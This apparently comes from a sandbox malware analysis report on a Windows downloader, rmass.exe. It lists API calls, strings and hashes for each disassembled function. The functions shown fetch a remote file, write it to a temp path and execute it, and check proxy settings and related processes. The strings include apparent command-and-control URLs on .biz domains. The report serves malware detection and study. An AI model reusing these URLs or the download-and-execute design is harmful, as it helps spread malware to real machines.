WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E

Part of subcall function 00402056: InternetReadFile.WININET(?,?,?,?), ref: 0040207A

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000000,00010000,00402301,00000000,00000000,?,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000), ref: 00402631

Strings

tmp, xrefs: 00402439, 004024EC
urlinj_fork, xrefs: 004025C4
urlinj_conn, xrefs: 004023E7
urlinj_creat_f, xrefs: 0040252E
urlinj_xfer, xrefs: 004024D0
urlinj_creat, xrefs: 00402475

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$Internetlstrcpy$CloseCreateDeleteHandle$OptionTemp$NameWritelstrcat$InfoOpenPathProcessReadStartupThreadclosesockethtonslstrlensocket
String ID: tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 910217646-3391900140
Opcode ID: 8db55d7102c7acbea66caf69e87936bc7aefbfb6afce8b119375d0892e4631af
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: 8db55d7102c7acbea66caf69e87936bc7aefbfb6afce8b119375d0892e4631af
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Function 00401A88 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 127registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,00000000,00000000,?,?,?,?,0040273C,?,004029BD), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,<'@,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(?,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,00000000,00000000,?,?,?,?,0040273C,?), ref: 00401C2E

Strings

Connections, xrefs: 00401B7D
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401B0E
<'@, xrefs: 00401C14
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401ABC
_Classes, xrefs: 00401AEE
ProxyEnable, xrefs: 00401B41

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: CloseCreateEnum
String ID: <'@$Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 2702359829-1194070228
Opcode ID: 2f85a21e4a9d9626b26d28ad8d7c79398e0d5f49ae8946036c382d31e6ad0d20
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: 2f85a21e4a9d9626b26d28ad8d7c79398e0d5f49ae8946036c382d31e6ad0d20
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Function 00403AB1 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,InternetOpenA), ref: 00403B11
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00403B21
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 00403B31
GetProcAddress.KERNEL32(?,InternetSetOptionA), ref: 00403B41
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 00403B51

Strings

InternetSetOptionA, xrefs: 00403AE7, 00403B36
InternetOpenA, xrefs: 00403AB1, 00403B0B
InternetReadFile, xrefs: 00403AD5, 00403B26
winrnt.exe, xrefs: 00403B67
InternetCloseHandle, xrefs: 00403AF9, 00403B46
InternetOpenUrlA, xrefs: 00403AC3, 00403B16

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$winrnt.exe
API String ID: 190572456-2600980705
Opcode ID: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction ID: 63eaa8bc75678119ca595fc79afd30bbacb21d8015fafef53c274f568fe1bf47
Opcode Fuzzy Hash: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction Fuzzy Hash: 77115E62658342A9CB013BB94DC551A2D0CF516725360CB77E0E3FA1E3D73C99238A6F

Function 0040415C Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58stringCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0040417B
Process32First.KERNEL32(?,00000128), ref: 00404198
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 004041BE
lstrcmpiA.KERNEL32(00000000,winrnt.exe), ref: 004041CD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,rmass.exe,?,00000128), ref: 004041E4
Process32Next.KERNEL32(?,00000128), ref: 00404203
CloseHandle.KERNEL32(?,?,00000128), ref: 0040420D
SetPriorityClass.KERNEL32(?,00000040,?,00100201,00000000,?,00000000,rmass.exe,?,00000128), ref: 00404220

Strings

winrnt.exe, xrefs: 004041C7
rmass.exe, xrefs: 004041AA

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: ProcessProcess32lstrcmpi$ClassCloseCurrentFirstHandleNextOpenPriority
String ID: rmass.exe$winrnt.exe
API String ID: 1978614274-609000131
Opcode ID: 575c4d339131b7ea445a13c532a21b2f2d8b54fc05965ef639bd7755bfd7808c
Instruction ID: d7d6018ad07b693beee57e1d6cc27fa73cc6d91fbcb3c380ea6268944c6b866b
Opcode Fuzzy Hash: 575c4d339131b7ea445a13c532a21b2f2d8b54fc05965ef639bd7755bfd7808c
Instruction Fuzzy Hash: E811C4B120874255D731AB628C49B9F72DDDFE4349F90083FB78A790C2EA7C94419A5E

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 7f27fac6115971c58dcd09c28ebbfce66a3c46ba292ebed7f4dee7e0088c9e92
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: 7f27fac6115971c58dcd09c28ebbfce66a3c46ba292ebed7f4dee7e0088c9e92
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Function 00401F06 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

%02X, xrefs: 00401FE1
http://%s.biz/d/G?, xrefs: 00401FBD

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?
API String ID: 1876335253-1405168728
Opcode ID: a667590bb85793260e3119e3131b235602c46c92de1559d777023f374c5afc46
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: a667590bb85793260e3119e3131b235602c46c92de1559d777023f374c5afc46
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Function 00402056 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123networkfileCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,?,?), ref: 0040207A
select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: FileInternetReadrecvselect
String ID: (
API String ID: 1361185869-3887548279
Opcode ID: f04883c74c863c6557727d3c4a0cc8e1b10d62e1d04978f393772f404d101972
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: f04883c74c863c6557727d3c4a0cc8e1b10d62e1d04978f393772f404d101972
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Function 004021DA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000012,http://utbidet-ugeas.biz/d/rpt?), ref: 004021F7
lstrcat.KERNEL32(00000000,00000012), ref: 004021FD

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?,?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

Part of subcall function 004021AF: InternetCloseHandle.WININET(?), ref: 004021BA
Part of subcall function 004021AF: InternetCloseHandle.WININET(00000000), ref: 004021C2

Strings

http://utbidet-ugeas.biz/d/rpt?, xrefs: 004021ED
urlinj_conn, xrefs: 004021DA

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Internet$Option$CloseHandlelstrcpy$Openclosesockethtonslstrcatlstrlensocket
String ID: http://utbidet-ugeas.biz/d/rpt?$urlinj_conn
API String ID: 1417007407-2018722472
Opcode ID: 63c0fb03060e40a3087bcdb5f8c1e73a61261fc6de45075c08a2d769f6268c67
Instruction ID: c17a9db8bb3a20ef78ed205b9bcaaddea2596c828afa4941c02cc09d7013ae7e
Opcode Fuzzy Hash: 63c0fb03060e40a3087bcdb5f8c1e73a61261fc6de45075c08a2d769f6268c67
Instruction Fuzzy Hash: 46D0126169074726E620B2B68E0EF6F215C8FC4344F80843B7504F65C1DA7DE441566A

Function 00403A03 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetIpAddrTable), ref: 00403A1B

Strings

GetIpAddrTable, xrefs: 00403A03, 00403A15
_Classes, xrefs: 00403A31

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: GetIpAddrTable$_Classes
API String ID: 190572456-3592534314
Opcode ID: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction ID: a9ff5faeca46a04752ac10b07b4ddd8daaefac53876dae9cc3ad8f1621337e6c
Opcode Fuzzy Hash: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction Fuzzy Hash: EBD0128074838269CB111A3449810191C08D6577613668F73A0D3B90D6C23C4A134A6F

Function 004039B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,RasEnumConnectionsA), ref: 004039CB

Strings

iphlpapi.dll, xrefs: 004039E1
RasEnumConnectionsA, xrefs: 004039B3, 004039C5

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: RasEnumConnectionsA$iphlpapi.dll
API String ID: 190572456-2181992158
Opcode ID: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction ID: 64522f513b19e0167eb2d154f3ba062aaa806500629e3d3c77fb6f15c3e75435
Opcode Fuzzy Hash: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction Fuzzy Hash: AED017E021C34278C7020B3C498101A1E0CA32B7623235F73A8A3F90D2C3BC8E169A6F

Analysis Process: rmass.exePID: 7364, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004035CF Relevance: 38.6, APIs: 20, Strings: 2, Instructions: 132processfilelibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,0040AA4F), ref: 004035E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403605
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040360A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403625
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0040A65C,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE

Strings

--k33p, xrefs: 0040360F
SD), xrefs: 004035E6

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: FileProcess$CloseCreateHandle$Process32$AddressCommandCurrentExitFirstInfoLineModuleNameNextObjectOpenProcReadSingleSizeSnapshotStartupToolhelp32Wait
String ID: --k33p$SD)
API String ID: 1689075337-1933173989
Opcode ID: 396bc482a65a707d4414e35e068a850984ea64baf24a391b452baa3818806301
Instruction ID: 7a41dd094c3ff64739ee37a0ce991556d765b1eacad6f410bfb2b8470c15c3ed
Opcode Fuzzy Hash: 396bc482a65a707d4414e35e068a850984ea64baf24a391b452baa3818806301
Instruction Fuzzy Hash: 10417470248745BAE730AB718C46F9F769CDF84745F50483FB289B51D2DA7C99008F6A

Non-executed Functions

Function 0040354A Relevance: 63.5, APIs: 31, Strings: 5, Instructions: 466memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403578
GetVersionExA.KERNEL32(0040C0C0), ref: 00403591

Strings

PREVED! I SMOKE GANJA EVERY DAY!, xrefs: 004048D0
kernel32.dll, xrefs: 004035A8, 004035BA
--k33p, xrefs: 00403596, 0040360F
%02X, xrefs: 004040D7
@{@, xrefs: 0040463C

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: HeapProcessVersion
String ID: %02X$--k33p$@{@$PREVED! I SMOKE GANJA EVERY DAY!$kernel32.dll
API String ID: 2203647613-841133858
Opcode ID: 09fb73d550fcc73d637d8f87926f522f5808205b1f125fe0d876d2ef9e7c0897
Instruction ID: 46e3c655099bbc7e29c0dce50a4e6fc886fa9d9bc8b2fe551b1869cd73b3b0bd
Opcode Fuzzy Hash: 09fb73d550fcc73d637d8f87926f522f5808205b1f125fe0d876d2ef9e7c0897
Instruction Fuzzy Hash: CBF1D3702047409ADB30AA648A85B6F39ACE751315F14CD3BF686FA2C1D77CCA618B5F

Function 0040370C Relevance: 19.7, APIs: 13, Instructions: 175libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,0040AA3C), ref: 00403724
LoadLibraryA.KERNEL32(0040AA32,0040AA1A,?,0040AA3C), ref: 00403792
GetProcAddress.KERNEL32(00000000,0040AA32), ref: 0040379A
GetProcAddress.KERNEL32(00000000,0040AA05), ref: 004037AA
GetProcAddress.KERNEL32(00000000,0040A9F4), ref: 004037BA
GetProcAddress.KERNEL32(00000000,0040A9E1), ref: 004037CA
GetProcAddress.KERNEL32(00000000,0040A9CE), ref: 00403814
GetProcAddress.KERNEL32(00000000,0040A9B6), ref: 00403829
CloseHandle.KERNEL32(?,?,0040AA3C), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc$Current$CloseCountHandleLibraryLoadProcessStartupThreadTick
String ID:
API String ID: 4016896573-0
Opcode ID: 2afe6375b153c311c199fc7148e9352a5b3b39788cbc033e89571a0a0e0a2e95
Instruction ID: da765254775b880a394b369aa104dbc8fe345ffdd81bae99228adbb332d89bff
Opcode Fuzzy Hash: 2afe6375b153c311c199fc7148e9352a5b3b39788cbc033e89571a0a0e0a2e95
Instruction Fuzzy Hash: 4B51D5A0708342AED7105B7949C5B1B2E8CAB16355F208A77F492F71D3D7BC9901C66F

Function 00404116 Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 238registrystringsynchronizationCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004040E1
CreateMutexA.KERNEL32(004087B8,00000001,0040884E,00408856,%02X,00000001,?,80000000,00000001,00000000,00000003,00000000,00000000,?,000000FE,0040A87E), ref: 004040F2
GetLastError.KERNEL32 ref: 00404106
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404125
RegDeleteValueA.ADVAPI32(00000000,0040A3D0,00000002,00000000), ref: 0040414E
RegCloseKey.ADVAPI32(?,00000000,0040A3D0,00000002,00000000), ref: 00404157
GetCurrentProcessId.KERNEL32(00000002,00000000), ref: 0040417B
Process32First.KERNEL32(00000000,00000128), ref: 00404198
lstrcmpiA.KERNEL32(00000000,0040A812), ref: 004041BE
